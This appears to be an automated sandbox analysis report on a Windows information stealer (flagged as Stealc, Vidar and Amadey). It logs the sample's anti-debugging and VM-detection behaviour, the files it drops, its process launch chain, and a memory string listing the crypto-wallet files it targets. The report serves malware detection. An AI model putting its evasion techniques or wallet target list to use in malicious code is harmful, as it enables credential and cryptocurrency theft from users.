Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 1051ECD second address: 1051EE9 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FEA38C221FEh 0x00000008 js 00007FEA38C221F6h 0x0000000e pushad 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jg 00007FEA38C221F6h 0x0000001c rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 1051EE9 second address: 1051EED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 1051EED second address: 1051EF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 1051EF3 second address: 1051EF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 1051EF9 second address: 1051F20 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 ja 00007FEA38C221F6h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e pushad 0x0000000f push esi 0x00000010 pop esi 0x00000011 jnc 00007FEA38C221F6h 0x00000017 jmp 00007FEA38C221FEh 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 10520A2 second address: 10520BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jnc 00007FEA38E8CA36h 0x00000010 jno 00007FEA38E8CA36h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 10540F9 second address: 10540FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 10540FF second address: 1054103 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 1054103 second address: 105414C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FEA38C221FEh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e jmp 00007FEA38C221FBh 0x00000013 push edi 0x00000014 pushad 0x00000015 popad 0x00000016 jmp 00007FEA38C22205h 0x0000001b pop edi 0x0000001c jl 00007FEA38C22202h 0x00000022 jno 00007FEA38C221F6h 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 1056D97 second address: 1056DB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jne 00007FEA38E8CA38h 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jnc 00007FEA38E8CA38h 0x00000015 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 1056DB0 second address: 1056DB5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 1056DB5 second address: 1056E3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c jmp 00007FEA38E8CA3Eh 0x00000011 jnc 00007FEA38E8CA38h 0x00000017 popad 0x00000018 mov eax, dword ptr [eax] 0x0000001a push esi 0x0000001b push eax 0x0000001c jnl 00007FEA38E8CA36h 0x00000022 pop eax 0x00000023 pop esi 0x00000024 mov dword ptr [esp+04h], eax 0x00000028 jmp 00007FEA38E8CA47h 0x0000002d pop eax 0x0000002e push 00000000h 0x00000030 push esi 0x00000031 call 00007FEA38E8CA38h 0x00000036 pop esi 0x00000037 mov dword ptr [esp+04h], esi 0x0000003b add dword ptr [esp+04h], 0000001Ah 0x00000043 inc esi 0x00000044 push esi 0x00000045 ret 0x00000046 pop esi 0x00000047 ret 0x00000048 sub si, D457h 0x0000004d call 00007FEA38E8CA39h 0x00000052 push ecx 0x00000053 push edi 0x00000054 pushad 0x00000055 popad 0x00000056 pop edi 0x00000057 pop ecx 0x00000058 push eax 0x00000059 push eax 0x0000005a push edx 0x0000005b push eax 0x0000005c push edx 0x0000005d push eax 0x0000005e push edx 0x0000005f rdtsc
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	RDTSC instruction interceptor: First address: 1056E3D second address: 1056E41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 8AF9D6 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 8AF97C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: A564CE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: AD0B89 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	Special instruction interceptor: First address: EAEC4E instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	Special instruction interceptor: First address: EAC5BA instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	Special instruction interceptor: First address: 10D9B21 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 83EC4E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 83C5BA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: A69B21 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsGCBKFBFCGI.exe

Code function: 25_2_05820B7C rdtsc

25_2_05820B7C

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1009228001\d59148a0e0.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.4 %

Source: C:\Users\user\Desktop\file.exe TID: 2340	Thread sleep time: -60030s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 764	Thread sleep time: -52026s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3032	Thread sleep time: -36000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2500	Thread sleep time: -60030s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2508	Thread sleep time: -50025s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2288	Thread sleep count: 32 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2288	Thread sleep time: -64032s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8252	Thread sleep count: 59 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8252	Thread sleep time: -1770000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8252	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsGCBKFBFCGI.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA6C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6CA6C930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: skotes.exe, skotes.exe, 0000001D.00000002.2687673101.00000000009BD000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: HDGDGHCA.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696494690
Source: HDGDGHCA.0.dr	Binary or memory string: discord.comVMware20,11696494690f
Source: HDGDGHCA.0.dr	Binary or memory string: AMC password management pageVMware20,11696494690
Source: HDGDGHCA.0.dr	Binary or memory string: outlook.office.comVMware20,11696494690s
Source: HDGDGHCA.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
Source: HDGDGHCA.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
Source: HDGDGHCA.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
Source: HDGDGHCA.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696494690
Source: HDGDGHCA.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696494690
Source: HDGDGHCA.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696494690d
Source: file.exe, 00000000.00000002.1979771130.0000000000F2E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware%/
Source: HDGDGHCA.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696494690u
Source: HDGDGHCA.0.dr	Binary or memory string: outlook.office365.comVMware20,11696494690t
Source: file.exe, 00000000.00000002.1979771130.0000000000F71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1979771130.0000000000FA6000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001D.00000002.2691330052.0000000001488000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: HDGDGHCA.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696494690}
Source: file.exe, 00000000.00000002.1979771130.0000000000FA6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW,
Source: HDGDGHCA.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x
Source: HDGDGHCA.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
Source: skotes.exe, 0000001D.00000002.2691330052.0000000001488000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWa
Source: HDGDGHCA.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690
Source: HDGDGHCA.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
Source: HDGDGHCA.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h
Source: HDGDGHCA.0.dr	Binary or memory string: tasks.office.comVMware20,11696494690o
Source: skotes.exe, 0000001D.00000002.2691330052.0000000001458000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX
Source: HDGDGHCA.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
Source: HDGDGHCA.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
Source: HDGDGHCA.0.dr	Binary or memory string: dev.azure.comVMware20,11696494690j
Source: HDGDGHCA.0.dr	Binary or memory string: global block list test formVMware20,11696494690
Source: file.exe, 00000000.00000002.1979771130.0000000000F2E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.2004624121.00000000234D0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware20,11696494690x
Source: HDGDGHCA.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696494690t
Source: HDGDGHCA.0.dr	Binary or memory string: bankofamerica.comVMware20,11696494690x
Source: HDGDGHCA.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696494690}
Source: HDGDGHCA.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690
Source: file.exe, 00000000.00000002.1976669563.0000000000A27000.00000040.00000001.01000000.00000003.sdmp, DocumentsGCBKFBFCGI.exe, 00000019.00000002.2003617654.000000000102D000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 0000001A.00000002.2032372688.00000000009BD000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 0000001D.00000002.2687673101.00000000009BD000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000002.2004624121.00000000234D0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: cRECOVE~1381bankoRecoveryImprovedVMware20,11696494690x
Source: HDGDGHCA.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696494690]
Source: HDGDGHCA.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696494690x
Source: HDGDGHCA.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
Source: HDGDGHCA.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696494690\|UE

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsGCBKFBFCGI.exe

Code function: 25_2_05820B7C rdtsc

25_2_05820B7C

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CAB5FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6CAB5FF0

Source: C:\Users\user\Desktop\file.exe

0_2_6CA53480

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 29_2_0080652B mov eax, dword ptr fs:[00000030h]		29_2_0080652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 29_2_0080A302 mov eax, dword ptr fs:[00000030h]		29_2_0080A302

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6CA8B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6CA8B1F7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC3AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6CC3AC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 2156, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsGCBKFBFCGI.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsGCBKFBFCGI.exe "C:\Users\user\DocumentsGCBKFBFCGI.exe"
Source: C:\Users\user\DocumentsGCBKFBFCGI.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"

Source: file.exe, file.exe, 00000000.00000002.1976669563.0000000000A27000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: RProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA8B341 cpuid

0_2_6CA8B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA535A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6CA535A0

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 26.2.skotes.exe.7d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.DocumentsGCBKFBFCGI.exe.e40000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.skotes.exe.7d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001A.00000002.2032244854.00000000007D1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.2562204259.0000000004FC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2687282375.00000000007D1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000003.1963202332.0000000005640000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.2003520628.0000000000E41000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.1991635211.0000000005140000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.1975942575.0000000000661000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1979771130.0000000000F2E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1455623487.0000000004C80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2156, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 2156, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.1979771130.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
